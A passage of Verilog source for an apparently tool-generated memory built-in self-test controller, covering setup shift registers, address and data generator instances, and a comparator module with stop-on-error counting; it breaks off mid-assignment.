REDUCED_ADDR_CNT_EN_REG <= MBISTPG_REDUCED_ADDR_CNT_EN_SYNC;
end
end
end
assign REDUCED_ADDR_CNT_EN_SO = REDUCED_ADDR_CNT_EN_REG;
assign MBISTPG_REDUCED_ADDR_CNT_EN_INT = REDUCED_ADDR_CNT_EN_REG ;
//------------------------
// PARALLEL RETENTION TEST
//------------------------
assign MBISTPG_ALGO_MODE_SYNC[0] = MBISTPG_ALGO_MODE[0] & BIST_ON;
assign MBISTPG_ALGO_MODE_SYNC[1] = MBISTPG_ALGO_MODE[1] & BIST_ON;
assign ALGO_MODE_SI = REDUCED_ADDR_CNT_EN_SO;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
ALGO_MODE_REG <= 2'b00;
else
if (BIST_SHIFT_SHORT) begin
ALGO_MODE_REG <= {ALGO_MODE_REG[0:0], ALGO_MODE_SI};
end else begin
if (~BIST_HOLD_R_INT & CLEAR_DEFAULT) begin
ALGO_MODE_REG <= MBISTPG_ALGO_MODE_SYNC;
end
end
end
assign ALGO_MODE_SO = ALGO_MODE_REG[1];
assign MBISTPG_ALGO_MODE_INT = MBISTPG_ALGO_MODE_SYNC;
assign PAUSETOEND_ALGO_MODE = (MBISTPG_ALGO_MODE_INT == 2'b11);
//------------------------
// HARDCODED ALGO SELECT
//------------------------
assign ALGO_SEL_CNT_SI = ALGO_MODE_SO;
// synopsys sync_set_reset "ALGO_SEL_CNT_RST"
assign ALGO_SEL_CNT_RST = ~BIST_HOLD_R_INT & CLEAR_DEFAULT;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
ALGO_SEL_CNT_REG <= 1'b0;
else
if (ALGO_SEL_CNT_RST) begin
ALGO_SEL_CNT_REG <= 1'b0;
end else begin
if (BIST_SHIFT_SHORT) begin
ALGO_SEL_CNT_REG <= ALGO_SEL_CNT_SI;
end
end
end
assign ALGO_SEL_CNT_SO = ALGO_SEL_CNT_REG;
//------------------------
// COMMON OPSET SELECT
//------------------------
assign SELECT_COMMON_OPSET_SI = ALGO_SEL_CNT_SO;
// synopsys sync_set_reset "SELECT_COMMON_OPSET_RST"
assign SELECT_COMMON_OPSET_RST = ~BIST_HOLD_R_INT & CLEAR_DEFAULT;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
SELECT_COMMON_OPSET_REG <= 1'b0;
else
if (SELECT_COMMON_OPSET_RST) begin
SELECT_COMMON_OPSET_REG <= 1'b0;
end else begin
if (BIST_SHIFT_SHORT) begin
SELECT_COMMON_OPSET_REG <= SELECT_COMMON_OPSET_SI;
end
end
end
assign SELECT_COMMON_OPSET_SO = SELECT_COMMON_OPSET_REG;
//------------------------
// COMMON DATA PATTERN SELECT
//------------------------
assign SELECT_COMMON_DATA_PAT_SI = SELECT_COMMON_OPSET_SO;
// synopsys sync_set_reset "SELECT_COMMON_DATA_PAT_RST"
assign SELECT_COMMON_DATA_PAT_RST = ~BIST_HOLD_R_INT & CLEAR_DEFAULT;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
SELECT_COMMON_DATA_PAT_REG <= 1'b0;
else
if (SELECT_COMMON_DATA_PAT_RST) begin
SELECT_COMMON_DATA_PAT_REG <= 1'b0;
end else begin
if (BIST_SHIFT_SHORT) begin
SELECT_COMMON_DATA_PAT_REG <= SELECT_COMMON_DATA_PAT_SI;
end
end
end
assign SELECT_COMMON_DATA_PAT_SO = SELECT_COMMON_DATA_PAT_REG;
//------------------------
// MICROCODE ARRAY ENABLE
//------------------------
assign MICROCODE_EN_SI = SELECT_COMMON_DATA_PAT_SO;
// synopsys sync_set_reset "MICROCODE_EN_RST"
assign MICROCODE_EN_RST = ~BIST_HOLD_R_INT & CLEAR_DEFAULT;
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
MICROCODE_EN_REG <= 1'b0;
else
if (MICROCODE_EN_RST) begin
MICROCODE_EN_REG <= 1'b0;
end else begin
if (BIST_SHIFT_SHORT) begin
MICROCODE_EN_REG <= MICROCODE_EN_SI;
end
end
end
assign MICROCODE_EN_SO = MICROCODE_EN_REG;
assign POINTER_CNTRL_SI = MICROCODE_EN_SO;
SMARCHCHKB_LVISION_MBISTPG_POINTER_CNTRL MBISTPG_POINTER_CNTRL (
.BIST_CLK ( BIST_CLK_INT ),
.RESET_REG_SETUP1 (RESET_REG_SETUP1 ),
.RESET_REG_DEFAULT_MODE (RESET_REG_DEFAULT_MODE ),
.DEFAULT_MODE (DEFAULT_MODE ),
.BIST_MICROCODE_EN (MICROCODE_EN_REG ),
.RESET_REG_SETUP2 (RESET_REG_SETUP2 ),
.BIST_RUN (BIST_RUN ),
.BIST_ON (BIST_ON ),
.LAST_TICK (LAST_TICK ),
.BIST_ASYNC_RESETN (MBISTPG_ASYNC_RESETN ),
.ALGO_MODE (MBISTPG_ALGO_MODE_INT ),
.MEM_RST (MBISTPG_MEM_RST_SYNC ),
.CHKBCI_PHASE (CHKBCI_PHASE ),
.ESOE_RESET (ESOE_RESET ),
.OP_SELECT_CMD (OP_SELECT_CMD ),
.A_EQUALS_B_INVERT_DATA (A_EQUALS_B_INVERT_DATA ),
.ADD_Y1_CMD (ADD_Y1_CMD ),
.ADD_X1_CMD (ADD_X1_CMD ),
.ADD_REG_SELECT (ADD_REG_SELECT ),
.WDATA_CMD (WDATA_CMD ),
.EDATA_CMD (EDATA_CMD ),
.LOOP_CMD (LOOP_CMD ),
.COUNTERA_CMD (COUNTERA_CMD ),
.INH_LAST_ADDR_CNT (INH_LAST_ADDR_CNT ),
.INH_DATA_CMP (INH_DATA_CMP ),
.Y1_MINMAX_TRIGGER (Y1_MINMAX_TRIGGER ),
.X1_MINMAX_TRIGGER (X1_MINMAX_TRIGGER ),
.COUNTERA_ENDCOUNT_TRIGGER (COUNTERA_ENDCOUNT_TRIGGER ),
.LOOPCOUNTMAX_TRIGGER (LOOPCOUNTMAX_TRIGGER ),
.LOOP_POINTER (LOOP_POINTER ),
.BIST_HOLD (BIST_HOLD_R_INT ),
.BIST_SHIFT_SHORT (BIST_SHIFT_SHORT ),
.SI (POINTER_CNTRL_SI ),
.SHORT_SETUP (SHORT_SETUP_SYNC ),
.SO (POINTER_CNTRL_SO ),
.LAST_STATE (LAST_STATE ),
.LAST_STATE_DONE (LAST_STATE_DONE ),
.LOOP_STATE_TRUE (LOOP_STATE_TRUE )
);
assign ADD_GEN_SI = POINTER_CNTRL_SO;
SMARCHCHKB_LVISION_MBISTPG_ADD_GEN MBISTPG_ADD_GEN (
.BIST_CLK (BIST_CLK_INT ),
.BIST_RUN (BIST_RUN ),
.RESET_REG_DEFAULT_MODE (RESET_REG_DEFAULT_MODE ),
.BIST_ASYNC_RESETN (MBISTPG_ASYNC_RESETN ),
.SI (ADD_GEN_SI ),
.SO (ADD_GEN_SO ),
.BIST_SHIFT_SHORT (BIST_SHIFT_SHORT ),
.BIST_HOLD (BIST_HOLD_R_INT ),
.LAST_TICK (LAST_TICK ),
.MBISTPG_REDUCED_ADDR_CNT_EN (MBISTPG_REDUCED_ADDR_CNT_EN_INT ),
.ESOE_RESET (ESOE_RESET ),
.ADD_Y1_CMD (ADD_Y1_CMD_MODIFIED ),
.ADD_X1_CMD (ADD_X1_CMD_MODIFIED ),
.ADD_REG_SELECT (ADD_REG_SELECT ),
.Y1_MINMAX_TRIGGER (Y1_MINMAX_TRIGGER_OUT ),
.X1_MINMAX_TRIGGER (X1_MINMAX_TRIGGER_OUT ),
.INH_LAST_ADDR_CNT (INH_LAST_ADDR_CNT_MODIFIED ),
.X_ADDRESS (X_ADDRESS ),
.Y_ADDRESS (Y_ADDRESS ),
.A_EQUALS_B_TRIGGER (A_EQUALS_B_TRIGGER )
);
SMARCHCHKB_LVISION_MBISTPG_ADD_FORMAT MBISTPG_ADD_FORMAT (
.Y_ADDRESS (Y_ADDRESS ),
.X_ADDRESS (X_ADDRESS ),
.COLUMN_ADDRESS (COLUMN_ADDRESS ),
.ROW_ADDRESS (ROW_ADDRESS )
);
assign Y1_MINMAX_TRIGGER = Y1_MINMAX_TRIGGER_OUT;
assign X1_MINMAX_TRIGGER = X1_MINMAX_TRIGGER_OUT;
assign SIGNAL_GEN_SI = ADD_GEN_SO;
SMARCHCHKB_LVISION_MBISTPG_SIGNAL_GEN MBISTPG_SIGNAL_GEN (
.BIST_CLK ( BIST_CLK_INT ),
.BIST_ASYNC_RESETN ( MBISTPG_ASYNC_RESETN ),
.SI (SIGNAL_GEN_SI ),
.BIST_SHIFT_SHORT (BIST_SHIFT_SHORT ),
.BIST_HOLD_R_INT (BIST_HOLD_R_INT ),
.RESET_REG_DEFAULT_MODE (RESET_REG_DEFAULT_MODE ),
.OP_SELECT_CMD (OP_SELECT_CMD ),
.BIST_RUN (BIST_RUN_PIPE ),
.BIST_RUN_TO_BUF (BIST_RUN_INT ),
.BIST_RUN_BUF (BIST_RUN ),
.LAST_STATE_DONE (LAST_STATE_DONE ),
.BIST_ALGO_SEL_CNT (INIT_SIGNAL_GEN_REGS ),
.BIST_CMP (BIST_CMP_FROM_SIGNAL_GEN ),
.BIST_SELECT (BIST_SELECT ),
.BIST_OUTPUTENABLE (BIST_OUTPUTENABLE ),
.BIST_WRITEENABLE (BIST_WRITEENABLE ),
.SO (SIGNAL_GEN_SO ),
.LAST_TICK (LAST_TICK )
);
assign DATA_GEN_SI = SIGNAL_GEN_SO;
SMARCHCHKB_LVISION_MBISTPG_DATA_GEN MBISTPG_DATA_GEN (
//inputs
.BIST_CLK (BIST_CLK_INT ),
.BIST_HOLD (BIST_HOLD_R_INT ),
.BIST_ASYNC_RESETN (MBISTPG_ASYNC_RESETN ),
.RESET_REG_DEFAULT_MODE (RESET_REG_DEFAULT_MODE ),
.WDATA_CMD (WDATA_CMD_MODIFIED ),
.EDATA_CMD (EDATA_CMD_MODIFIED ),
.ROW_ADDRESS (ROW_ADDRESS ),
.COLUMN_ADDRESS (COLUMN_ADDRESS ),
.BIST_ALGO_SEL_CNT (INIT_DATA_GEN_REGS ),
.LAST_TICK (LAST_TICK ),
.BIST_RUN (BIST_RUN ),
.BIST_SHIFT_SHORT (BIST_SHIFT_SHORT ),
.SI (DATA_GEN_SI ),
.BIST_WRITEENABLE (BIST_WRITEENABLE ),
//outputs
.SO (DATA_GEN_SO ),
.EXPECT_DATA (EXPECT_DATA ),
.WRITE_DATA (WRITE_DATA )
);
assign REPEAT_LOOP_CNTRL_SI = DATA_GEN_SO;
SMARCHCHKB_LVISION_MBISTPG_REPEAT_LOOP_CNTRL MBISTPG_REPEAT_LOOP_CNTRL (
.BIST_CLK ( BIST_CLK_INT ),
.RESET_REG_SETUP1 (RESET_REG_SETUP1 ),
.RESET_REG_DEFAULT_MODE (RESET_REG_DEFAULT_MODE ),
.LOOP_CMD (LOOP_CMD ),
.BIST_ASYNC_RESETN (MBISTPG_ASYNC_RESETN ),
.ADD_Y1_CMD (ADD_Y1_CMD ),
.ADD_X1_CMD (ADD_X1_CMD ),
.WDATA_CMD (WDATA_CMD ),
.EDATA_CMD (EDATA_CMD ),
.INH_LAST_ADDR_CNT (INH_LAST_ADDR_CNT ),
.INH_DATA_CMP (INH_DATA_CMP ),
.LOOP_STATE_TRUE (LOOP_STATE_TRUE ),
.A_EQUALS_B_TRIGGER (A_EQUALS_B_TRIGGER ),
.A_EQUALS_B_INVERT_DATA (A_EQUALS_B_INVERT_DATA ),
.SI (REPEAT_LOOP_CNTRL_SI ),
.BIST_HOLD (BIST_HOLD_R_INT ),
.LAST_TICK (LAST_TICK ),
.BIST_SHIFT_LONG (BIST_SHIFT_LONG ),
.BIST_RUN (BIST_RUN ),
.LOOPCOUNTMAX_TRIGGER (LOOPCOUNTMAX_TRIGGER_INT ),
.LOOP_POINTER (LOOP_POINTER ),
.ADD_Y1_CMD_MODIFIED (ADD_Y1_CMD_MODIFIED ),
.ADD_X1_CMD_MODIFIED (ADD_X1_CMD_MODIFIED ),
.SO (REPEAT_LOOP_CNTRL_SO ),
.ESOE_RESET (ESOE_RESET ),
.WDATA_CMD_MODIFIED (WDATA_CMD_MODIFIED ),
.EDATA_CMD_MODIFIED (EDATA_CMD_MODIFIED ),
.INH_LAST_ADDR_CNT_MODIFIED (INH_LAST_ADDR_CNT_MODIFIED_INT ),
.INH_DATA_CMP_MODIFIED (INH_DATA_CMP_MODIFIED )
);
assign LOOPCOUNTMAX_TRIGGER = LOOPCOUNTMAX_TRIGGER_INT ;
assign INH_LAST_ADDR_CNT_MODIFIED = INH_LAST_ADDR_CNT_MODIFIED_INT;
assign COUNTERA_ENDCOUNT_TRIGGER = 1'b0;
//---------------------
// GO ENABLE
//---------------------
//synopsys sync_set_reset "BIST_ON"
// synopsys async_set_reset "MBISTPG_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge MBISTPG_ASYNC_RESETN) begin
if (~MBISTPG_ASYNC_RESETN)
GO_EN <= 1'b0;
else
if (MONITOR_CMP_STAT)
GO_EN <= 1'b1;
else
if (~BIST_ON) begin
GO_EN <= 1'b0;
end else begin
if (RESET_REG_SETUP1) begin
GO_EN <= 1'b1;
end
end
end
//---------------------
// MBISTPG_GO MUXING
//---------------------
assign MBISTPG_GO_INT = GO_EN & CTRL_GO;
assign MBISTPG_GO = MBISTPG_GO_INT;
//---------------------------------------
// Setup chain muxing to first collar
//---------------------------------------
assign TO_COLLAR_SI_MUX_INPUT0 = REPEAT_LOOP_CNTRL_SO;
assign TO_COLLAR_SI_MUX_INPUT1 = DATA_GEN_SO;
always @ (SHORT_SETUP_SYNC or TO_COLLAR_SI_MUX_INPUT0 or TO_COLLAR_SI_MUX_INPUT1) begin
case (SHORT_SETUP_SYNC)
1'b0 : TO_COLLAR_SI = TO_COLLAR_SI_MUX_INPUT0;
1'b1 : TO_COLLAR_SI = TO_COLLAR_SI_MUX_INPUT1;
endcase
end
//----------------------
// Collar SI/SO chaining
//----------------------
//------------------------------
// Setup chain after last collar
//------------------------------
assign CTL_COMP_SI = TO_COLLAR_SI;
assign MBISTPG_SO = CTL_COMP_SO;
wire BIST_COL_ADD_BIT0;
assign BIST_COL_ADD_BIT0 = BIST_COL_ADD[0];
SMARCHCHKB_LVISION_MBISTPG_CTL_COMP MBISTPG_CTL_COMP (
.BIST_CLK ( BIST_CLK_INT ), // i
.BIST_EN ( MBISTPG_EN_INT ), // i
.BIST_ON ( BIST_ON ), // i
.BIST_ASYNC_RESETN ( MBISTPG_ASYNC_RESETN ), // i
.BIST_IDLE_PULSE ( BIST_IDLE_PULSE ), // i
.CLEAR_DEFAULT ( BIST_CLEAR_DEFAULT ), // i
.BIST_HOLD_R ( BIST_HOLD_R ), // i
.BIST_SHIFT_SHORT ( BIST_SHIFT_SHORT ), // i
.GO_ID_FEEDBACK_EN ( GO_ID_FEEDBACK_EN ), // o
.SI ( CTL_COMP_SI ), // i
.SO ( CTL_COMP_SO ), // o
.GO ( MBISTPG_GO ), // o
.GO_EN ( GO_EN ), // i
.FREEZE_GO_ID ( FREEZE_GO_ID ), // o
.CMP_EN_R ( CMP_EN_R ), // i
.CMP_EN ( CMP_EN_INT ), // i
.BIST_CMP ( BIST_CMP_INT ), // i
.BIST_DATA_FROM_MEM0 ( BIST_DATA_FROM_MEM0 ), // i [31:0]
.BIST_COLLAR_EN0 ( BIST_COLLAR_EN0_INT ), // i
.EXPECT_DATA ( EXPECT_DATA ), // i [1:0]
.CHKBCI_PHASE ( CHKBCI_PHASE ), // i
.BIST_COL_ADD_BIT0 ( BIST_COL_ADD_BIT0 ), // i
.RESET_REG_SETUP2 ( RESET_REG_SETUP2 ), // i
.BIST_DIAG_EN ( BIST_DIAG_EN ), // i
.CMP_ID_SEL_R ( CMP_ID_SEL_R ), // i [5:0]
.GO_ID ( MBISTPG_GO_ID_INT ), // o [31:0]
.CTRL_GO ( CTRL_GO ), // o
.HOLD_EN ( HOLD_EN ), // o
.BIST_STOP_ON_ERROR_EN ( BIST_STOP_ON_ERROR_EN_INT ), // o
.BIST_DONE ( BIST_DONE ), // i
.FL1 ( FL_CNT_MODE[1] ), // i
.RESET_REG_SETUP1 ( RESET_REG_SETUP1 ), // i
.FL_CNT_MODE0_SYNC ( FL_CNT_MODE0_SYNC ), // i
.ESOE_RESET ( ESOE_RESET ), // o
.TM ( LV_TM ) // i
);
endmodule // SMARCHCHKB_LVISION_MBISTPG_CTRL
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_CTL_COMP
Description : Module containing the controller comparators and the
stop-on-error circuitry.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_CTL_COMP (
BIST_CLK ,
BIST_EN ,
BIST_ON ,
BIST_ASYNC_RESETN ,
BIST_IDLE_PULSE ,
CLEAR_DEFAULT ,
BIST_HOLD_R ,
BIST_SHIFT_SHORT ,
SI ,
SO ,
GO ,
GO_EN ,
BIST_CMP ,
CMP_EN ,
BIST_DATA_FROM_MEM0 ,
BIST_COLLAR_EN0 ,
EXPECT_DATA ,
CHKBCI_PHASE ,
BIST_COL_ADD_BIT0 ,
RESET_REG_SETUP2 ,
BIST_DIAG_EN ,
CMP_ID_SEL_R ,
GO_ID ,
CTRL_GO ,
GO_ID_FEEDBACK_EN ,
FREEZE_GO_ID ,
CMP_EN_R ,
HOLD_EN ,
BIST_STOP_ON_ERROR_EN ,
BIST_DONE ,
FL1 ,
RESET_REG_SETUP1 ,
FL_CNT_MODE0_SYNC ,
ESOE_RESET ,
TM );
// Input ports
input BIST_CLK;
input BIST_EN;
input BIST_ON;
input BIST_ASYNC_RESETN;
input BIST_IDLE_PULSE;
input CLEAR_DEFAULT;
input BIST_HOLD_R;
input BIST_SHIFT_SHORT;
input SI;
input GO;
input GO_EN;
input BIST_CMP;
input CMP_EN;
input [31:0] BIST_DATA_FROM_MEM0;
input BIST_COLLAR_EN0;
input [1:0] EXPECT_DATA;
input CHKBCI_PHASE;
input BIST_COL_ADD_BIT0;
input RESET_REG_SETUP2;
input BIST_DIAG_EN;
input [5:0] CMP_ID_SEL_R;
input CMP_EN_R;
input BIST_DONE;
input FL1;
input RESET_REG_SETUP1;
input FL_CNT_MODE0_SYNC;
input TM;
// Output ports
output SO;
output [31:0] GO_ID;
output CTRL_GO;
output GO_ID_FEEDBACK_EN;
output FREEZE_GO_ID;
output HOLD_EN;
output BIST_STOP_ON_ERROR_EN;
output ESOE_RESET;
// Internal signals
wire HOLD_EN;
wire ERROR_CNT_EN;
wire ERROR_CNT_REG_RST;
wire ERROR_CNT_ZERO;
wire FREEZE_STOP_ERROR_IN;
wire FREEZE_STOP_ERROR_RST;
wire STOP_ON_ERROR_RST;
reg STOP_ON_ERROR;
reg FREEZE_STOP_ERROR;
reg [1:0] PHASE_START_REG;
reg [11:0] ERROR_CNT_REG;
wire ERROR_CNT_LAST;
wire FL_CNT_MODE0_SYNC;
wire FL_CNT_MODE1_PULSE;
reg [11:0] FL_CNT_REG;
reg ERROR_CNT_LT2_REG;
wire [31:0] DATA_FROM_MEM;
wire [31:0] DATA_FROM_MEM_EXP_INT;
wire [31:0] DATA_FROM_MEM_EXP;
wire [31:0] CMP_STAT_EN_INT;
wire [31:0] CMP_STAT_EN;
wire [31:0] EXPECT_DATA_REP_MEM0_INST0;
wire [31:0] EXPECT_DATA_MEM0_INST0;
wire [31:0] DATA_FROM_MEM0_EXP;
wire COL_ADD_BIT0;
wire [31:0] RAW_CMP_STAT;
reg [31:0] GO_ID_REG;
wire GO_ID_REG_RST;
wire SOE_CTRL_CMP_STAT;
wire ERROR;
reg ERROR_R;
//-----------------------
//-- Stop-on-Nth-Error --
//-----------------------
assign HOLD_EN = FREEZE_STOP_ERROR | BIST_HOLD_R;
assign BIST_STOP_ON_ERROR_EN = STOP_ON_ERROR;
// synopsys sync_set_reset "STOP_ON_ERROR_RST"
assign STOP_ON_ERROR_RST = CLEAR_DEFAULT & ~HOLD_EN & ~BIST_SHIFT_SHORT;
// synopsys sync_set_reset "FREEZE_STOP_ERROR_RST"
assign FREEZE_STOP_ERROR_RST = BIST_IDLE_PULSE;
assign SOE_CTRL_CMP_STAT = BIST_STOP_ON_ERROR_EN ? ERROR_R : CMP_EN;
assign ERROR_CNT_EN = (GO_EN & BIST_ON) & (SOE_CTRL_CMP_STAT);
assign FREEZE_STOP_ERROR_IN = FREEZE_STOP_ERROR | (ERROR_CNT_EN & STOP_ON_ERROR & ERROR_CNT_ZERO);
assign ERROR_CNT_ZERO = ERROR_CNT_LT2_REG & ~ERROR_CNT_REG[0] & BIST_STOP_ON_ERROR_EN;
assign ERROR_CNT_LAST = ERROR_CNT_ZERO & ERROR_CNT_EN;
wire ESOE_RESET;
// synopsys sync_set_reset "ERROR_CNT_REG_RST"
assign ERROR_CNT_REG_RST = CLEAR_DEFAULT & ~HOLD_EN & ~BIST_SHIFT_SHORT | ESOE_RESET;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
STOP_ON_ERROR <= 1'b0;
else
if (STOP_ON_ERROR_RST) begin
STOP_ON_ERROR <= 1'b0;
end else begin
if (BIST_SHIFT_SHORT) begin
STOP_ON_ERROR <= SI;
end
end
end
reg BIST_DONE_R;
// synopsys async_set_reset BIST_ASYNC_RESETN
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
BIST_DONE_R <= 1'b0;
else
BIST_DONE_R <= BIST_DONE;
end
assign ESOE_RESET = (BIST_DONE & STOP_ON_ERROR & FL_CNT_MODE0_SYNC) & ~BIST_DONE_R;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
FREEZE_STOP_ERROR <= 1'b0;
else
if (FREEZE_STOP_ERROR_RST) begin
FREEZE_STOP_ERROR <= 1'b0;
end else begin
if (BIST_SHIFT_SHORT) begin
FREEZE_STOP_ERROR <= STOP_ON_ERROR;
end else begin
if (~BIST_HOLD_R) begin
if (GO_EN) begin
FREEZE_STOP_ERROR <= FREEZE_STOP_ERROR_IN;
end
end
end
end
end
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
ERROR_CNT_REG <= 12'd0;
else
if (ERROR_CNT_REG_RST) begin
ERROR_CNT_REG <= 12'd0;
end else begin
if (BIST_SHIFT_SHORT) begin
ERROR_CNT_REG <= {ERROR_CNT_REG[10:0], FREEZE_STOP_ERROR};
end else begin
if (~HOLD_EN) begin
if (~CLEAR_DEFAULT) begin
if (RESET_REG_SETUP1 & STOP_ON_ERROR & FL_CNT_MODE0_SYNC) begin
ERROR_CNT_REG <= FL_CNT_REG;
end else
if (ERROR_CNT_EN && ~ERROR_CNT_ZERO | (ERROR_CNT_LAST & ~(~CMP_EN_R | FREEZE_STOP_ERROR))) begin
ERROR_CNT_REG <= ERROR_CNT_DEC(ERROR_CNT_REG);
end
end
end
end
end
end
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
ERROR_CNT_LT2_REG <= 1'b0;
else
if (ERROR_CNT_REG_RST)
ERROR_CNT_LT2_REG <= 1'b0;
else
ERROR_CNT_LT2_REG <= ERROR_CNT_REG < 12'd2;
end
wire FL1_RETIME1_IN;
wire FL1_RETIME1;
wire FL1_SYNC_IN;
reg FL1_SYNC;
// Posedge retiming cell
assign FL1_RETIME1_IN = FL1;
SMARCHCHKB_LVISION_MBISTPG_RETIMING_CELL MBIST_NTC_RETIMING_CELL_FL1 (
.CLK ( BIST_CLK ), // i
.R ( ~BIST_ASYNC_RESETN ), // i
.RETIME_IN ( FL1_RETIME1_IN ), // i
.RETIME_OUT ( FL1_RETIME1 ) // o
);
assign FL1_SYNC_IN = FL1_RETIME1 | TM;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
FL1_SYNC <= 1'b0;
else
FL1_SYNC <= FL1_SYNC_IN;
end
assign FL_CNT_MODE1_PULSE = (FL1_SYNC_IN & ~FL1_SYNC);
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
FL_CNT_REG <= 12'd0;
else
if (RESET_REG_SETUP1 & STOP_ON_ERROR & ~FL_CNT_MODE0_SYNC) begin
FL_CNT_REG <= ERROR_CNT_REG;
end else begin
if (FL_CNT_MODE1_PULSE)
FL_CNT_REG <= FL_CNT_INC(FL_CNT_REG);
end
end
function automatic [11:0] FL_CNT_INC;
input [11:0] FL_CNT;
reg TOGGLE;
integer i;
begin
FL_CNT_INC[0] = ~FL_CNT[0];
TOGGLE = 1;
for (i=1;i<=11;i=i+1) begin
TOGGLE = FL_CNT[i-1] & TOGGLE;
FL_CNT_INC[i] = FL_CNT[i] ^ TOGGLE;
end
end
endfunction
function automatic [11:0] ERROR_CNT_DEC;
input [11:0] ERROR_CNT;
reg TOGGLE;
integer i;
begin
ERROR_CNT_DEC[0] = ~ERROR_CNT[0];
TOGGLE = 1;
for (i=1;i<=11;i=i+1) begin
TOGGLE = ~ERROR_CNT[i-1] & TOGGLE;
ERROR_CNT_DEC[i] = ERROR_CNT[i] ^ TOGGLE;
end
end
endfunction
reg FREEZE_STOP_ERROR_EARLY_R;
wire FREEZE_GO_ID;
assign FREEZE_GO_ID = BIST_SHIFT_SHORT | ~GO_EN | ~CMP_EN | FREEZE_STOP_ERROR_EARLY_R;
//-------------------------------
//-- Memory Data to Comparator --
//-------------------------------
assign DATA_FROM_MEM = BIST_DATA_FROM_MEM0;
assign COL_ADD_BIT0 = BIST_COL_ADD_BIT0;
//----------------------------
//-- Expect Data per Memory --
//----------------------------
// Replicate expect data per memory
assign EXPECT_DATA_REP_MEM0_INST0 = { // MemoryInstance: MEM0
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA,
EXPECT_DATA
};
assign EXPECT_DATA_MEM0_INST0 = ~(CHKBCI_PHASE) ? EXPECT_DATA_REP_MEM0_INST0[31:0] : ({32{EXPECT_DATA_REP_MEM0_INST0[0]}} ^ {32{COL_ADD_BIT0}});
//--------------------------
//-- Expect Data per Step --
//--------------------------
assign DATA_FROM_MEM0_EXP = {
EXPECT_DATA_MEM0_INST0[31], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[30], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[29], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[28], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[27], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[26], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[25], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[24], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[23], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[22], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[21], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[20], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[19], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[18], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[17], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[16], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[15], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[14], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[13], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[12], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[11], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[10], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[9], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[8], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[7], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[6], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[5], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[4], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[3], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[2], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[1], // MemoryInstance: MEM0
EXPECT_DATA_MEM0_INST0[0] // MemoryInstance: MEM0
};
//-----------------
//-- Expect Data --
//-----------------
assign DATA_FROM_MEM_EXP_INT = {
